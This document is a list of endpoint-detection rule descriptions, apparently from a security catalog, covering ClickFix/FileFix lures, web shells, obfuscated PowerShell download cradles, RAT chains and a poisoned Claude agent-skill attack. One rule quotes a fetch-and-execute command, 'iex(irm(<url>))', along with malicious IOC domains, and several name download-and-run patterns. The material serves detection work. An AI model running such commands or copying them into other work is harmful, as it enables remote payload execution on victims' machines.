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Detects the execution of script interpreters (powershell, cmd, mshta, etc.) spawned directly by explorer.exe via the Run dialog, commonly associated with 'ClickFix' social engineering attacks where users are prompted to copy and paste malicious commands to bypass security mechanisms.
This rule detects two distinct exploitation patterns: first, WinRAR (CVE-2023-38831) spawning script interpreters as child processes, typically indicative of opening malicious archives. Second, explorer.exe (CVE-2023-36025) spawning hidden PowerShell sessions, a technique used to bypass Windows SmartScreen protections via malicious LNK shortcuts.
This rule detects potentially malicious PowerShell, CMD, or PWSH command execution characterized by obfuscation techniques (such as Base64 encoding, decompression, or hidden command arguments) that are followed closely in time by network connections to public AI service domains (OpenAI, Anthropic, Google Generative Language, Mistral, Cohere). The detection correlates process-start events with outbound network requests from processes other than standard web browsers, suggesting potentially unauthorized use of AI APIs for exfiltration or automated processing of command results.
Detects execution of potentially malicious processes (mshta, powershell, cmd, conhost) which are common vectors for ClickFix-style attacks, where a user is socially engineered into copying and pasting malicious commands into the Windows Run dialog or a command prompt.
Detects a suspicious sequence of events where a known web server process (e.g., IIS, Nginx, Apache) spawns a command shell process, followed shortly by the creation of a file with a web shell-like extension (.aspx, .jsp, .php) in the same environment. This pattern is indicative of an adversary exploiting a public-facing application to upload and potentially access a web shell.
Detects potential 'ClickFix' activity where a browser or file explorer process initiates a shell (e.g., cmd, powershell, osascript) with command arguments indicative of remote script execution, obfuscated commands, or web-based payload downloading. This pattern matches known social engineering tactics that entice users to copy-paste malicious code into a system shell.
Detects obfuscated PowerShell command lines indicative of malicious file downloading and execution. The detection logic searches for specific indicators such as 'scriptblock', '::create', and numeric obfuscation patterns paired with common .NET web client methods ('net.webclient', 'downloadfile', 'downloadstring') used for staged payloads.
Detects a suspicious behavior pattern where PowerShell initiates an 'msiexec.exe' process to install an MSI file located in a temporary directory, followed by that MSI process launching a secondary executable from a '%LOCALAPPDATA%\Programs\' folder. This pattern is commonly associated with malware installation or post-exploitation activities where an attacker attempts to masquerade an executable as a legitimate program.
This rule detects potential malicious activity where the binaries 'COTFileReadApp.exe' or 'DeElevate64.exe' initiate child processes or are themselves parent processes to suspicious binaries such as 'rundll32.exe', 'regsvr32.exe', 'msiexec.exe', 'powershell.exe', or script hosts ('wscript.exe', 'cscript.exe'). This pattern is indicative of a RAT (Remote Access Trojan) or sideloading chain dropping and executing follow-on payloads.
Detects the FileFix (ClickFix) social engineering technique, where an attacker tricks a user into pasting malicious command lines into the Windows File Explorer address bar. The rule correlates a process execution (PowerShell, Cmd, Mshta) originating from explorer.exe with recent registry writes to shell history artifacts (RunMRU, TypedPaths, or ShellBags) within a 120-second window, identifying the characteristic 'paste-and-execute' behavior.
Detects a suspicious PowerShell execution chain originating from explorer.exe, typically associated with ClickFix social engineering campaigns. The command uses 'Invoke-RestMethod' (irm) to download content, saves it to the user's TEMP directory, and immediately executes the downloaded script.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects the use of Python or Pip utilities as parent processes to spawn potentially malicious binaries such as cmd.exe, powershell.exe, curl.exe, or rundll32.exe. This activity is often associated with the execution of downloaded payloads or shell commands directly through package manager workflows.
This rule detects potential staging activity for ClickFix or Vidar malware campaigns. It identifies the creation of files or folders in directories mimicking Windows Diagnostics infrastructure (WDI) or known payload paths, correlated with the execution of suspicious PowerShell commands or archive-related utilities within a 30-minute window on the same device.
Detects the execution of PowerShell from web browser parent processes (chrome, edge, firefox, iexplore) using obfuscation techniques (hidden window, encoded command, no profile) combined with an indicator of WebDAV access (DavWWWRoot), which is commonly used to execute payloads from remote network shares.
Detects PowerShell commands that load images (JPG/PNG) and parse their pixel data for encoded payloads. This technique, often associated with Invoke-PSImage, uses steganography to hide malicious scripts within image files, which are then extracted using GDI+ methods (GetPixel) or byte manipulation and executed in-memory via IEX or assembly reflection.
Detects suspicious command-line fragments being written to the Windows RunMRU registry key, which is used by the Explorer 'Run' dialog to store history. Adversaries may abuse this by injecting malicious command lines that are then executed when a user attempts to run a program.
FileFix (mr.d0x, June 2025) tricks victims into pasting a clipboard payload into the File Explorer address bar; explorer.exe directly spawns the hidden shell command with no legitimate GUI file-open lineage.
Detects mshta.exe spawning suspicious child processes (cmd.exe, powershell.exe, or reg.exe) that are characteristic of the ReverseRAT backdoor. The rule identifies common discovery commands or persistence attempts via Registry Run keys triggered from mshta.exe.
Detects MayaBot's scheduled-task persistence chain by correlating two signals on the same device within a 60-minute window: (1) schtasks.exe creating a daily task referencing a hidden batch script (update.bat/backup.bat/firewall-update.bat) under AppData\Local, spawned from wscript.exe/cscript.exe/cmd.exe, and (2) cmd.exe launching a hidden-window PowerShell process referencing the same batch scripts under AppData\Local. Requiring both signals together, anchored to the AppData\Local path, sharply reduces false positives compared to alerting on either behavior alone.
Detects instances where a Claude process accesses a 'SKILL.md' file, followed closely by a suspicious command execution on the same device. The rule specifically targets command-line activity that involves encoding, download-and-execute patterns, staging in sensitive directories, or communication with suspicious domains/IPs, which is indicative of a supply-chain or poisoned agent-skill file attack.
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